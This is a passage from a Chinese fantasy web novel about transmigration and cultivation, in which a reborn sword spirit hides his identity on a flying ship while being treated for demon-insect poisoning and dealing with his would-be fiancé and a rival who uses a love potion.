十年前,他从现代穿到这本升级流的龙傲天小说中,成了主角龙傲天,书中还有个最大的反派名为萧无桐,也就是所谓的阴墟剑主。
书中描写此人喜怒无常,暴戾凶狠,从不给别人面子,哪怕他是年幼时期的龙傲天,萧无桐也照抽不误。
此刻,辛计侜盯着不远处那黑袍身影,心里真有些发沭。
而玉枝淮看向辛计侜的眼神也骤然冷淡,终于明白为何秦品玉不在外提起辛计侜,原来是这小子看不上秦品玉。
不过……
“老乡,你怎么能这么说我呢。”玉枝淮抬手拽住了辛计侜的衣袖,非常低声的说:“等会可得赔我一杯奶茶。”
辛计侜骤然回头,神色肉眼可见的变得震惊。
玉枝淮笑了一下。
他身上有种独特的少年气,又因为生得貌美,这一笑不自觉就让人看呆了。
倏然,长鞭破风之声自空中袭来,辛计侜脚上一痛,嗷了一声。
萧无桐缓步走来,手中那根长鞭还冒着浓浓的乌黑魔气,“既只是夫妻之名,就别在本座面前拉拉扯扯——辛计侜,你的意思是,要替他挨这擅闯禁地的刑罚了?”
辛计侜:“啊?不是,我没……”
他的话音被打断,端木林冷笑着落了下来,“你们萧家好大的威风,将这仙盟威严放在何处?萧无桐,你在獬豸门虽说只是领了个闲职,但也要以身作则,只因为这是你弟媳,便轻拿轻放,这说不过去吧?”
玉枝淮终于发觉哪里怪怪的了——对哦,那他现在不就是萧无桐的弟媳了?!
萧无桐低笑一声,天际阴云映得他神色忽明忽暗,走向玉枝淮。
辛计侜捂着手臂,还在消化这个世界上竟然有另一个穿越者的事实,也就忘了挡在玉枝淮面前了。
萧无桐进一步,玉枝淮就忍不住退,随着他的逼近,他的心跳也忍不住快了起来,想顺手扯个人挡住,却发现周晴已经啪叽一下跑到远处,甚至伸手捂住了脸,显然是不忍见他血溅当场。
玉枝淮:“……”
好样的兄弟,大难临头各自飞。
“剑、剑尊大人,”后面就是山石,玉枝淮退无可退了,腿一软,噗通一声跪了下去,低着头,“请大人明察,我绝不是自愿带人进一步天的。”
一步天不可能是秦品玉这种内丹的人就能进去的,幕后势必有人作祟,不如就交给萧无桐自己去查好了。
想到此处,玉枝淮眯起眼睛,没曾想,萧无桐却说:“你跪在我靴子上了。”
啊?玉枝淮低头一看:“……”
该死,他怎么忘了萧无桐最不喜
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欢别人碰他东西,玉枝淮默默挪开自己的膝盖,跪在自己层层叠叠的衣服上,抬手掩面假哭,“大人……”
话音刚落,一道冰冷的鞭柄忽然抬起了他的下巴,玉枝淮一僵。
完了完了,这脸……
“弟媳?”萧无桐目不转睛的盯着面前那张面容,却问了个奇怪的问题,“我怎么没在阴墟见过你?”
哎?玉枝淮倏然回神,他没觉得这张脸有问题?也是,前世模仿他衣着相貌的多了去了,想必萧无桐见过太多,已经对此免疫了。
玉枝淮一笑,“我没去过阴墟,自然也无以得见你这……”艰难的将喉头即将出口的臭脸两个字压回去,他补道:“尊容。”
萧无桐收回鞭子,却抬起食指,按在了玉枝淮额心。
“问真之术?”端木林瞧出来了,老脸上眉头一挑,“这倒是好法子。”
他这声音不大不小,全场都能听见。姜铭学闻言,后背却足足出了一层冷汗。
问真之术乃是检验人是否说谎的高级术法,非大乘者不能用,虽说这世间大乘者不多,可萧无桐正是其中一个。
“他没说谎,人不是他带的。”
萧无桐收回手指,淡淡的看了一眼旁边的辛计侜,道:“没有夫妻之实,就不要和人在大庭广众下拉拉扯扯。本座见了厌烦。”
玉枝淮垂头不语,暗啧一声,心说萧无桐还真是……
眼前忽地黑了,玉枝淮只觉得身体变得沉重,手背上不知何时出现一个虫点,像是被什么东西给咬了。
辛计侜刚回过神,对萧无桐道,“我知道了,兄长,我下次不会和他拉拉扯扯的,那现在……小玉?!哥你对他做了什么?!他怎么晕过去了!”
萧无桐抬手拾住面前砸在自己身上的人,眉宇微压,俊俏面容上平白生出一股阴郁之色,目光落在了那截皓白的手背上。
那里有一只黑色的小虫,他伸出手,捏起那只虫子,只一眼便下了决断。
“是魔虫。”
……
再次醒来时,玉枝淮觉得鼻子下有点痒痒的,他睁开双眼,看到了豹猫正在拿爪子按他鼻子。
“?”玉枝淮坐起身,正想问他在玩什么,却发现自己换了身青衫雪缎的长袍,手腕上还多了个绿色系带,一股浓郁的药香蔓延在空气里。
这不是青崖药宗的病号服吗?他怎么会在这?
“你醒了?”豹猫幽幽道,“你已经成功坐上了萧家的飞船,玉枝淮,你发誓你不是故意装晕的!”
玉枝淮抬起五只手指,习以为常道:“我发誓,我真没装……等等,萧家飞船?”
他忽然意识到了什么,抬头一看。
飞船外朵朵白云如画,淡蓝色的天际下是青山绿水,房间里则像个小厢房,一应俱全,桌上放了个八宝琉璃炉,炉上煨着药,炉下印着‘萧’。
这是萧家旗下的商船。
玉枝淮身上沾了一大股药香,那味道像幽谷里的青草。
“……他为什么把我带上了飞船?”玉枝淮疑惑不已,“我不是无关紧要的人吗?”
5. 萧无桐舔了一下
正疑惑着,忽然间房门被人推开,一下子跑进来好几人。
“小玉!小玉!我要见小玉,小玉在哪儿!”
一个声音听起来十分阳光开朗的少年率先喊着,没多久周晴的声音也响起来了,“小玉在养伤,少宗主,你别吵着他了。”
“少宗主~小玉有未婚夫了。”姜铭学刻意软声,“他不喜欢你的。”
计清徽:“未婚夫是什么意思?”
屋内坐着的玉枝淮沉默了,他以为周晴说的傻子是骂人呢,现在一看,不会是物理意义吧?清徽宗少主是真的脑袋有问题?
“别吵了,”一道稳重成熟的声音插.了进来,“要是闹到病人,我唯你们是问——把这个人给我带出去!”
姜铭学看了一眼面前色厉内荏的药修,半哄半骗着将计清徽带走了。
旁边的豹猫见有人来,立刻藏了起来。玉枝淮却僵了下,有点想从这窗户跳下去。
一天内遇见两个熟人,这也太巧了吧?
时之音抱着琵琶从门外掀开垂帘而来,他穿着一身白衣,长发用金枇杷枝挽起,满脸幽怨的走进来,“人傻就关在屋里,别出来碍眼,清徽宗真是的……咦?”
他目光在榻上扫了一圈,终于看见了此行的病人,“怎么是个少年?你就是那个被魔虫咬了的病人?”
玉枝淮没说话,只是扫了一眼面前的人。
时之音,是他在阴墟学院时的同修,不过此人是个音修,最擅长的是用手中那琵琶发出的声音帮助别人走出梦魇或者治愈伤痛。
多年不见,时之音看上去疲惫许多。
时之音看不清楚远方的东西,漫不经心的走到他床边,坐到床榻上,才稍稍把人看清了,没看到时,尚不要紧,这一看清,顿时僵住。
这人怎么……
“什么魔虫?”玉枝淮立刻开口,露出个大大的笑容,这傻笑让他身上那股空谷幽兰的气质瞬间消失,好像一朵漂亮的山茶花打开后,里面露出个欠打的小丑猫。
众人虽然都说秦品玉和玉枝淮有六分像,但玉枝淮最难得的其实是气质,举手投足间都有股皎月似的气息,为此,萧无桐曾给他提过一词——眸含沧海色,眉缀一痕春。冰肌清到骨,月下束云人。
意为,蓝眸、眉间落坠,且冰肌玉骨的清冷少年。
可现在这孩子哪有月下束云人的清冷样子?时之音一噎,心说,哪来的二傻子!和他家小枝淮一点也不像!
“魔虫一般选择老人寄生,你怎么被咬的?”时之音没好气的问他。
玉枝淮眸光微动:“可能是在一步天的时候。”
时之音倏然睁大眼眸,放下琵琶,抬手攥住玉枝淮的手腕,“……你也进了一步天?”
他虽是音修,但能时时刻刻扛着琵琶走,臂力显然也非常人可比,玉枝淮被攥得哎呀一声,看上去疼得要掉眼泪,先下手为强的说道:“怎么一说起这个,你们都这么看我?我脸上是有什么东西吗?”
时之音明白自己失态,松开了他,“哦。这个……嗯,你长得像我一个故友。”
玉枝淮明白他最心软,装疯卖傻道,“哦?是玉枝淮吗?大家为什么都觉得我像他啊?真的很像吗?我才十八岁,还没见过他呢——你们是把我当他的替身了吗?”
果然,时之音面上很快露出惭愧,“抱歉。”
而后抬手看了看玉枝淮手上那个被咬的虫点,开始给他细心诊治了。
也就错过了玉枝淮眼底一闪而过的愧疚。
手腕上的咬伤看上去不止钻进去了一只,时之音眉头皱起,觉得有些难办。
玉枝淮觑着他的神色,道:“神医怎么这副表情,我是要死了吗?”
时之音回过神,一边拿过自己的琵琶试音,一边解释:“咬伤你的这个是魔渊里的蚀骨虫,最开始会啃你的皮,后面会咬你的骨,直到把你整个人都吃完——它才会回去给主人交差,如果拿不到解药,你会死。”
“我也只能尽力而为,看看能不能把虫子们引出来……”
琵琶弦被拨动,浅绿色的法力光芒闪烁着,玉枝淮看着他,不由自主的想起还在阴墟学院的时候。
他被萧无桐从剑窟里带出来时,才十二岁,后来和萧无桐一起在阴墟学院上了学,在那里遇见了许多好人。
时之音便是其中一个,他对声音特别敏感,就像他的名字一样。
琵琶音如同溪水在房间里流动,玉枝淮顿时觉得体内某个地方一疼,紧接着,他的左手臂忽然鼓起一块皮——
玉枝淮眉头深深的皱了起来。
这虫是什么时候咬伤他的,他还真不知道……
是在他醒来之前,还是醒来之后?
是秦品玉之前就被咬了吗?
“对了,”忽然,时之音说:“若是以后有人想用你的相貌糟践于你,可同我说,我会帮你……别像话本子里一样,欠了债就把自己卖了。”
玉枝淮原本想问题想得入神,闻言抬眸:“什么?”
愣了会,他才反应过来时之音是什么意思。
……这意思是有人会拿他这相貌做文章?他都死了这么久了,难道还有仇家记得他?
眼看玉枝淮一脸直男样,时之音更想叹气了,最后只说:“离萧无桐远些。”
玉枝淮:“???”
若非此情此景不能暴露身份,他真想问,为什么‘秦品玉’也要离萧无桐远一些?
他离萧无桐远,那是因为他们之前就不太对付。剑灵没见过外面的世界,天性好动,萧无桐却总是动不动就禁足他。
可秦品玉为何也要远离萧无桐?
玉枝淮百思不得其解,正想开口询问,门外又传来了脚步声。
好多人啊,怎么一个二个都要来看他?抱着这样的想法,他叹着气抬头,顿时僵住——
珠帘被侍从掀起,一道身影走了进来,那是萧无桐。
萧无桐一袭黑袍,长发高束,冷淡的眉目下是挺立的高鼻,还有常常抿成一条线的薄唇,那是典型的阴墟之人的长相。
很久以前的阴墟由于毗邻魔渊,是一座风沙飞舞的异域,后来萧家先祖横空出世,才有了如今的繁华,但基因却已很难更改。
时之音扭头一看,看清来的是谁以后,眼眸中划过一丝担忧和惊讶,却没有说话,他只是继续盯着玉枝淮身上那些鼓起皮的地方——除了手臂,还有小腿,总共加起来有七八处,看起来非一日可长成。
玉枝淮哎呀一声,浮夸道:“剑尊大人,你怎么也来了?”
萧无桐看了他一眼,一时间很难描述他眼中复杂神情,而后,他沉声问时之音:“医治的怎么样了?魔物可有取出?”
时之音冷漠道:“自己没长眼睛?”
玉枝淮眸光微
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动,有些困惑。他怎么记得时之音以前和萧无桐的关系好像没这么差?
萧无桐看上去习以为常,坐在了玉枝淮的床榻边。
被他骤然逼近的距离吓了一跳,玉枝淮下意识往后一退,随即又意识到不该如此,然后——他做了一件故意恶心萧无桐的事。
“剑尊大人怎么突然坐到这儿来了?”玉枝淮故作羞涩,“人家毕竟是你弟弟未过门的妻子,您还是……”
萧无桐打断施法:“你叫什么名字?”
玉枝淮哽住了,为什么突然问这个?!
“他叫什么和你有关系吗?”时之音倏然开口,“萧无桐,收起你那些——”
他的嗓音戛然而止,喉间有法力光芒闪动。
萧无桐给他下了禁言术。
玉枝淮:“……”
这么多年不见,居然还是这臭脾气,仙盟居然没给他打死,还允许他进了獬豸门?玉枝淮大为震惊,仿佛看见一只舞刀弄枪的牛。
萧无桐:“回话。”
玉枝淮垂下眼,无数想法在脑海里盘算,最终他道:“我叫秦品玉,大家都叫我小玉。”
他本想随便编个名字混过去,但仔细一想又太过欲盖弥彰,只好说了秦品玉。
一旁被禁言的时之音闻言瞪大眼睛,眼神里惊疑不定。
夺舍重生者,要性别相同、生辰八字相差无几,最好连名字谐音也差不多。
玉枝淮死前自爆乃是世家叛徒联手魔族逼杀所致,并非本愿,自然会怨气冲天,夺舍重生也不是不可能……但要夺舍早就夺了,为何五十六年后才来?
时之音很快意识到这说不通,眼神里的光暗淡了。
“生辰八字几何?”萧无桐忽然又问。
玉枝淮沉默了下,他不记得秦品玉的八字和生辰,但这根本难不倒他,笑嘻嘻的说:“剑尊大人问这么清楚做什么?我和辛计侜早就订过婚了,他知道我的生辰八字呀。”
这显然是个投机取巧的答案。萧无桐冷笑一声,不做评价,而是低头看了眼玉枝淮身上那些魔虫伤口。
忽然,他伸出手,碰在了玉枝淮腿上的伤口上。
伤口是新鲜的,这一碰险些造成二次伤害,玉枝淮脸色一变,疼得面色扭曲了下。
萧无桐:“怕疼?”
众所周知萧家小剑灵虽然是个混世魔王,但却极其怕疼,有个拇指大小的伤口都要叫唤得让全家上下都知道。
玉枝淮一狠心,咬牙说:“……不疼。”
时之音看着都疼,从旁边冲过来,拿了个罐子,把那些引出来的魔虫装起来,而后拍了拍萧无桐,指着门口,意思是滚。
萧无桐理都不理他,反而用手指沾了玉枝淮伤口的血,放进了口中。
阴墟萧家天生克魔,吃点污血没什么。问题是……他沾取的虫口是在玉枝淮大腿内侧被咬的伤口,那是玉枝淮大腿上的血。
血液的腥甜、魔虫的苦涩、还泛着一点若有若无的、药草和玉枝淮身上体香结合的味道。
萧无桐眉头微挑,看向了玉枝淮。
玉枝淮忍住闭眼的冲动,心底骂他死变态,十分震惊:“剑尊大人这是做什么?!”
萧无桐:“试下这虫在你体内放了多久罢了。”
玉枝淮面色扭曲,“那你试出来了吗?”
“三年。”萧无桐说了个惊人的数字。
6. 怀疑
三年,已经不是短时间了,谁会这么费尽心机的害一个小废材?
断灵脉、引毒虫……玉枝淮忽然想到了什么,看向时之音,“神医神医,那你看我这灵脉断裂,是不是也是这虫子造成的?”
这张脸和玉枝淮是一脉相承的容貌艳丽,语气也很软绵绵的。时之音恍惚了下,才道:“我看看啊,不过我对此不熟,若是有需要的话,我可为你请端木家的人过来,他们那里的药修多一些,技艺精湛。”
此话一出,玉枝淮瞬间就感觉有一道目光从斜方看来,那是萧无桐在盯着他。
果然还是怀疑他的身份了。
玉枝淮心下一动,装傻道,“端木家?就是那个第一药修所在的家族吗?可他们出手不是很贵吗,我没有钱,你能不能帮我垫付?”
若是以前的玉枝淮,绝不会说出这种理直气壮占便宜的话。
果然,此话一出,下一秒,萧无桐的目光收了回去,拂袖起身,离开了这里。
时之音倒是没什么变化,反而真的给他瞧那破碎的灵脉,抬起手将一股泛着银白光芒的光球探进玉枝淮的灵脉,碎碎念着:“可以是可以,但要记得还……”
宿敌一走,玉枝淮自在多了,低头看向时之音发出的那团小光球。
光球在狭窄的灵脉里游转,也映出破破碎碎的内里,如果说人是一棵大树,那么灵脉就是树的脉络,可此时他的脉络是破的。
“还真是虫咬的,”时之音有些意外的抬眸,“你这是有仇家?”
玉枝淮面色一沉。
秦品玉是个无父无母的孤儿,天赋又不高,谁会卯足了劲这么害他?
姜铭学?不像是有那脑子的样子。
时之音下了诊断,便收起东西,一边收一边说:“魔虫被萧无桐引出来了,你暂时没有性命之忧,但余毒未清,还是要早早的找到给你下毒的那人才行。否则月圆之夜会很痛苦,如万虫咬心——喏,这是药方,把上面的药材找齐,就能解毒了。”
又要清毒又要修复灵脉,玉枝淮一想到这个头都大了,蔫蔫的倒在床榻上,结果一看药方,全是珍稀药草,感觉人生完蛋。
不过也不算是没有好消息——至少萧无桐没有怀疑他的身份。
一想到这个,玉枝淮又生龙活虎起来了,屁颠颠的出商船找东西吃去。
萧家这商船宛若一个小型集市,足足九层,第一二层是些穷徒住所,狭窄,憋闷。第三四层是探手可摘云的吃喝玩乐之所,再往上则是贵人住的地方。
每一层都有严格的出行限制,还需要令牌。
玉枝淮被安排在第六层,下来只需要一刻钟。时之音见他身边没什么朋友相随,连病了也没什么人看护,便提出要和他一起去第三层。
“这不太好吧?”玉枝淮唯恐暴露身份,正要摆手拒绝——
时之音却瞟了他一眼,冷酷傲娇的道:“谁让你没有九层皆可通行的令牌。”
玉枝淮一想也是,当即变脸,抱住他手臂,夸张道:“少侠,那我这残躯,就麻烦你了!”
时之音觉得这说话风格似曾相识,待他怀着疑惑再问之时,玉枝淮已经像个小孩儿一样窜了出去,指着一处酒楼,朝他挥手,蹦蹦跳跳道:“哇哇哇,那里有酒楼哎!我们来两坛桃花酿吧神医哥哥~!”
时之音当即怒了,奔过去,“病人不许喝酒!”
砰。
喜来乐酒楼中,一壶牛乳噔的一下放上桌,壶比玉枝淮的脸还要大,他趴在桌边,盯着那壶牛乳,幽幽道:“神医,你对你的那位故友也是这样的吗?我怎么听说你那位故友很爱喝酒。”
时之音淡淡一笑:“管不到他,所以管你啊。”
玉枝淮:“……”
玉枝淮暗暗在桌下握拳,哼了一声,心道,好样的,知音兄,口口声声当兄弟,其实你是把兄弟当你家还没断奶的孩子!
话虽如此,但玉枝淮也没强求要那壶酒,而是靠在桌边,捏了几颗葡萄往嘴里甩。
他出来时急匆匆的,头发也只是潦草的一扎,坐在那儿仔细看台上的舞曲,时不时鼓掌两下。
看起来是十足的少年意气。
时之音不动声色的观察着他,眉头微微拧紧。
……不像。他心想,这不是玉枝淮。
玉枝淮听不懂那么多生僻字,更不会为台上这种枯燥无聊的戏鼓掌。
台上演的是戏剧,讲的是一个酸腐书生落榜投奔亲戚却又暗中看不起邻里,作了许多酸腐诗句讽刺人家的故事。
商船不知怎么想的,竟然把那些又臭又没用的诗全都念出来了,那效果不亚于太监自摸,毫无反应。
只有小孩子为了台上那些变来变去的脸而鼓掌,大人都陆陆续续散了,又或者睡着了。
时之音顿觉无趣,黯然起身。
“诶?神医哥哥不听了吗?”玉枝淮扭头看他。
台上的戏也正好演到尽头,换了一出喜闻乐见的民间话本。
修仙界的话本自然和民间是不同的,区别就在于演绎知识会利用一些术法变幻。
只见台上天际骤然变暗,惊雷突然响起。
台下有人惊叫一声:“啊!是《剑尊夜夜宠,公主哪里逃》!这个我早就想听了!”
“民间排了千八百回了,怎么萧家商船上也放这个?这不是编排主家吗?这能放?”
玉枝淮闻言,差点一口奶茶喷出来。
时之音原本是要站起来的,现在整个人都僵住了,愕然看向台上,“等等,这是——”
然而他的抗拒哪有熟练的说书人快,只见那人张口就来:“话说那一日,电闪雷鸣,滂沱大雨落下,阴墟剑主萧无桐冒雨闯进一步天中,本来想躲雨,却没曾想到打开剑窟,撞见了一个纤细少女。”
玉枝淮:“?”
当时哪来的少女???
“英俊的剑尊惊醒了少女,少女睁开蓝色的双眼,问道,‘你是谁?’”
台下的玉枝淮和时之音心里一同涌上一股不好的预感。
果不其然,下一秒,那说书人道:“阴墟之地苦寒,少时的萧无桐哪里见过此等绝世天仙,看傻了好一会儿,心里暗暗认定,你就是我的婆娘——别看他心里这么想,但他面上却半分不显急躁,只是问她:‘那你又是谁?’”
“少女羞涩一笑:‘我叫玉枝淮’。”
玉枝淮本人:“……”
玉枝淮看上去要魂飞天外了,时之音也没好到哪里去,气若游丝的道:“怎么又是这个,我听一次就想吐一次,这到底是谁编的?我要杀了他——”
玉枝淮急忙回神,“啊?你第一次听吗?”
时之音更震撼了,抬头看他:“你听了很多次吗?!”
玉枝淮当然不可能听了很多次,但此刻他得装作自己听了许多遍——毕竟他要打消时之音对自己的怀疑。
而前世的玉枝淮是怎么也不会听这种话本的。
“当然!”玉枝淮捧着双手,做花痴状,“这话本讲的多美啊!很浪漫呢!”
时之音:“……”
时之音嘴角抽搐,朝着他竖了个大拇指,他实在受不了这话本对自己故友的
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编排,抬手拍下一块令牌丢在桌上,头也不回的走了,“我不听了!回头把令牌还我就行,我在第七层!”
他一走远,玉枝淮顿时松了口气,擦了擦身上起的鸡皮疙瘩,摇着头,心说,这都什么鬼啊?当时的萧无桐根本就不是这样的!
而台上还在继续说书,为了烘托气氛,甚至故意用符咒把天弄得越来越黑,天际电闪雷鸣。
不知是不是玉枝淮的错觉,他总觉得这风冷冷的,好像有什么人盯着自己——
“哎!秦品玉,原来你在这喝奶茶啊!”
忽然,人群那端传来声音,玉枝淮抬头一看,眉头挑起,眼睛微微一亮,唤道:“辛计侜!”
辛计侜仍然是穿着那件白衣,手中提着两壶牛乳,透过琉璃罐,能看到里面还放满了各色的花瓣。
他走了过来,顺势坐下,把牛乳往桌上一放,“我还说去六楼看你呢——你怎么一个人在这里听曲儿?”
“这不是楼上太无聊了嘛,”玉枝淮看着他,笑道:“老乡,你怎么想着来看我了?”
提起这个,辛计侜忽然把杯子往他杯口一碰,抬手施下一个屏蔽他人窥听的术法,才道:“富强民主文明和谐——”
玉枝淮眨眨眼,目光一闪:“……自由平等公正法治?”
好一个主角,竟然还怀疑他穿越者的身份了?够多疑的啊。
“哎,这就对了!”辛计侜眼神里终于爆发出剧烈的狂热,开始诉说这些年来的苦与痛,“兄弟你知道吗我当时穿在了一个孤岛,那地方可真够鸟不拉屎的,后面我请那个系统把我从那里拉出去,他死活不干,非要我做什么任务才肯把我放出来……”
玉枝淮攥紧手心听了会,不做评价,只道:“那你我这婚约——”
说到这个,辛计侜停下了高谈大论,面上滑过一丝了然。
他就说嘛,怎么可能有人不抱主角的大腿?秦品玉还是想嫁他!
但他堂堂龙傲天怎么可能娶一个男妻呢?
辛计侜看了眼面前的玉枝淮,心神微微一动,就算……嗯,就算他很美,他也不会娶他的!
“你毕竟天赋不高,”辛计侜面露难色,“我们这个婚约,不能执行。”
言下之意是要退婚了。
嚯,原来打的是这个心思?玉枝淮眉头挑起,盯着他,“那当时在一步天,你为什么要在萧无桐面前说那些话?”
辛计侜也不好说是系统让他说的,他看着面前的少年,绞尽脑汁的想借口:“这、这……”
他还没想到借口,倒是不由自主的用目光临摹过玉枝淮的眉眼。
能被誉为和天下第一美人相像,这张皮囊显然不是凡品。
也不知是不是因为天色昏暗,辛计侜感觉秦品玉的眼睛有点蓝呢。
这张脸,真、真好看啊。
但、但他不能娶男妻!他是直男!辛计侜深呼吸一口气,握住玉枝淮的手,“我是有苦衷的,你听我说,我、我过几天要去参加鸿门大比,那边不允许带男媳妇……”
台上说书人仍在狂风暴雨,已经说到阴墟剑主英雄救美,雨夜抱美人回家,却发现美人被群雄窥视——
“只见萧无桐怒喝一声,‘离他远点’!”
说书人一声怒喝,那语气太像他那个拜把子的便宜哥了,成功的把辛计侜想说的话给骂忘了,呆呆的攥着玉枝淮的手。
玉枝淮低头看他手:“……鸿门大比就大比,你拉我手干嘛?”
不过,怎么感觉身上更冷了?这年头说书的也要这么敬业吗?非得还原当时剑窟里的气候?
7. 遭报应了
辛计侜这才察觉不妥,连忙把手撤了,而台上的戏也终于歇了。
“鸿门大比的参与者不能有男媳妇,”辛计侜义正言辞的说:“所以我想退掉和你的婚约,因为你很弱,我没你那么弱。”
玉枝淮眼神凉丝丝的盯着他,仿佛在说,我就静静的看你演。
鸿门大比是所有宗门和世家联合起来的一场比赛,目的是让更多弟子在祖级秘境中争抢资源,而后,由仙盟做裁判选出一二三名,分别进行嘉奖。
玉枝淮前世在阴墟学院时,也和朋友们参加过鸿门大比,但他从未听说过这些人会调查参与者的家事。
辛计侜仿佛也觉得自己找的这个借口太拙劣,紧张的攥紧了掌心。他望着玉枝淮看着他的、那‘痴情’的眼神,忍不住说:“抱歉。”
玉枝淮:“不接受道歉。父母之命,媒妁之言,怎可如此草率?何况你还口口声声贬低我,用贬低我来抬高你自己,你觉得我会答应这个退婚?”
他起身,抬起一旁喝了一半儿的牛乳茶,泼在了辛计侜脸上——
辛计侜抬手抹了抹脸,一个清洁咒就清理了所有污秽,看着玉枝淮的背影,紧皱着眉头,叹道:“炮灰真是难搞,扒住主角了就不想丢啊。”
但那又如何?他会想到办法退婚的,他绝不会娶秦品玉。
……
玉枝淮泼完了人,心情好多了,哼着小曲儿走在回房的路上。
其实他并不是非要这个婚约不可,但他暂时要用这个婚姻掩盖自己身份,至少不能让萧无桐怀疑他。
不过,鸿门大比让他忽然想起一件事——祖级秘境中,有不少他需要的珍稀药草。而当今的祖级秘境都被各大世家或宗门管辖着,只有在鸿门大比的时候才能以正经身份进去。
可是,以目前这样的残躯,怎么才能获得进去的机会呢?
利用计清徽?似乎也不是不可以。
玉枝淮想问题想得入迷,不小心走到了误入了一处黑暗。
那是船舱之间的连接处,往外就是甲板,而外面正传来轻声细语的男声:
“少主,你看看我……我是小玉呀。”姜铭学的声音刻意放低了。
玉枝淮心说,这是干什么呢?
他悄悄凑了过去,仔细一听——
商船在空中疾行,风声被术法断绝,甲板上只剩他们二人,这是个极好的时机,姜铭学看着面前的计清徽,脑海里全是对他少宗主夫人位置的渴望。
计清徽容貌俊美,生得不差,只是再好的容颜配上那睿智的眼神都白搭。
他眼前浮现一片粉色烟雾,而他喜欢的“小玉”就在他的面前。
那是一轮清丽的月,他情不自禁伸出手去触碰,嘴里念叨着:“小玉、小玉……你愿意嫁给我了?”
可他面前的分明是姜铭学!
姜铭学看着面前的计清徽,心跳飞快的点点头,“是啊,少主,我是小玉——”
“你什么时候和我姓了?”玉枝淮朝外一闪,挡在二人面前。
姜铭学原本闭着眼睛,嘴都要撅起来被亲了,突然听到玉枝淮的声音,猝然睁开双眼!狠狠的把他一推——
玉枝淮早有预料,伸手抓住了他的手腕,冷冷的看着他:“说话啊!”
姜铭学脸色滑过一抹厌恶,甩开他的手,“关你什么事!计清徽,你到底要不要和你的小玉走?”
与此同时,几名侍从也终于找了过来,欣喜若狂的抓住了计清徽,“少主,原来你在这里!”
计清徽却眼神困惑的看着面前的两个小玉,“哎,哪个是真的?小玉……小玉,这个像小玉……”
他朝着玉枝淮走去,姜铭学脸色骤变,万万没想到高价买来的迷情丹在正主面前竟然如此逊色。
玉枝淮疑惑的看着面前的计清徽,抬手在他眼前招了招,又看向他的侍从们:“有没有觉得你们少主今天格外傻?”
保护计清徽的乃是名高阶修士,闻言下意识点头,反应过来后又迅速摇头:“对……不不不,我们少主不傻!”
玉枝淮啧了声,“我说他眼神不对。”
那修士一愣,仔细一看,发现的确如此,当即拔出长剑,指向姜铭学,“你对我们少主做了什么?朴长老愿意在副盟主面前保下你,已是大幸,你如今又想了什么歪门邪路?”
玉枝淮:“嗯?”
发生了什么他不知道的事吗?
“秦品玉说什么你们就信什么?他一个废物,难道还比不上本金丹的话?”姜铭学冷冷的瞪着那修士,“计二,好好掂量掂量你自己的位置!”
计二,此姓氏一出,玉枝淮便知这是清徽宗亲卫。
九大世家之间的关系错综复杂,唯有拉帮结派,培养羽翼争抢资源这一点亘古不变。
“什么叫保下他?”玉枝淮顺口问。
计二的主子是个傻的,但他却不傻,至少能看得出到底谁对计清徽好。当即说:“秦公子之前在一步天昏迷,还不知道后来剑尊大人用问真之术审了所有人吧?”
玉枝淮抬起眼皮,略感惊讶。
萧无桐还真管上这些闲事了?不是说
“审出来的结果就是,入一步天之事是姜铭学一人所为!”计二瞪着脸色青绿的姜铭学,道:“他高价买了几件‘问天剑灵’的遗物,又将它穿在你的身上,这才短暂的打开了一步天剑窟,使得你们几人进去——此等大罪,若非长老力保,他不可能还站在这!”
问天剑。
没有人比玉枝淮更清楚这个名字,那是他的剑名。而问天剑灵,也就是他自己。用他的遗物气息蒙骗一步天剑窟打开入口,的确是个办法,却很冒险。
因为一旦被认出来不是本人,剑窟不仅不会放人进去,还会当场万箭齐出,把人扎成筛子。
玉枝淮:“O.o?”
所以当时秦品玉身上穿的原来是他的遗物?怪不得他看着眼熟。
不过,玉枝淮有些困惑:“为什么要高价买,那剑灵不是去过很多地方,到处弄丢东西吗?”
生前,玉枝淮喜欢和好友游历山川,靠着天地灵气去中和魔剑之中的魔族怨气,走到哪买到哪,离开那个地方时,又会丢掉不少东西。
换句话来说,他遗物颇多。
计二没想到他竟关注这个,愣了一下,才说:“公子可能不知,自从
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剑灵死后,魔渊平息,世间所有遗落的剑灵气息都被一一萧家收回,说是怕怨气太重,气息暴起伤人。”
原来如此。玉枝淮点点头,示意知道了。
他死前怨气挺大的,确实可能伤人。
“哈!”姜铭学喉咙里冒出一声短促的笑,眼皮翕动着,怒道:“我凭什么不能站在这里?又不是只我一人闯进,为什么都只怪我?!何况我也没从里面得到什么!”
这些年来,擅入一步天剑窟者,都想得到剑窟中遗留的无主神剑,当时和姜铭学一起进去的不少人都抱着这个想法,但做的这么明目张胆的,只有他。
玉枝淮忍不住道:“那是你心性太弱!否则进去又怎会一无所获?——你口口声声喜欢计清徽,就是拿着我的名字去喜欢的吗?”
自古仙者重在修心,遇难则退,难成大事。
姜铭学脸皮抽动了下,声音骤然阴沉:“你给我住口!”
话音刚落,他掌心出现一把长剑,恼羞成怒的朝着玉枝淮心口刺去!
这一势带着强劲的法力,刹那间甲板上卷起罡风,玉枝淮眉头皱起,乌黑的眼瞳中又开始有淡淡的蓝色扩散,却没什么人注意到。
那一刻时间都仿佛被定住,姜铭学的一切剑势在他眼中尽被拆解,玉枝淮闪身夺过计二的剑,反刺而入姜铭学的长剑中心!
啪嚓。
金铁断裂之声倏然惊醒众人。
手中的剑竖断为两截,姜铭学如梦初醒,眼前就是玉枝淮戛然而止的剑尖,顿时拧紧眉头。
此剑虽说不是他本命剑,却也是出自高级剑师之手,怎么会被一个区区的废材截断?!
玉枝淮淡淡的收回剑,道:“你输了。”
姜铭学不可置信,转而瞪着计二,“是你帮了他?!”
能被升为少宗主护卫之首,计二修为不低,比姜铭学高出二倍,完全做得到暗中出剑。
计二也有些呆愣,“啊?我……”
“解开计清徽身上的东西。”玉枝淮打断他的话,免得计二回过神来。
姜铭学咬紧牙齿,心不甘情不愿的拿出一个瓷瓶,愤愤的丢在计清徽脚边,而后,扬长而去。
计二急忙去把瓶子捡了起来,打开一闻,“原来是迷情丹,怪不得少宗主会叫他小玉。”
玉枝淮不爱关注这些歪门邪道,笑着问:“那是什么?”
“吃下丹药者,在短暂的一天内会把眼前的所有人都认成心爱之人,”计二将解药塞入计清徽口中,叹道:“姜铭学,还真是喜欢用这些乱七八糟的东西。”
换句话来说,这也能验出此人心爱的人是谁。
玉枝淮闻言却是一愣。
他记得……萧无桐好像也误食过迷情丹,当时,那人是怎么解决的来着?
不曾想,这念头刚出来,一道阴冷的声音就从高处传来。
“秦公子好手段,竟能引得两人一起为你打架。”
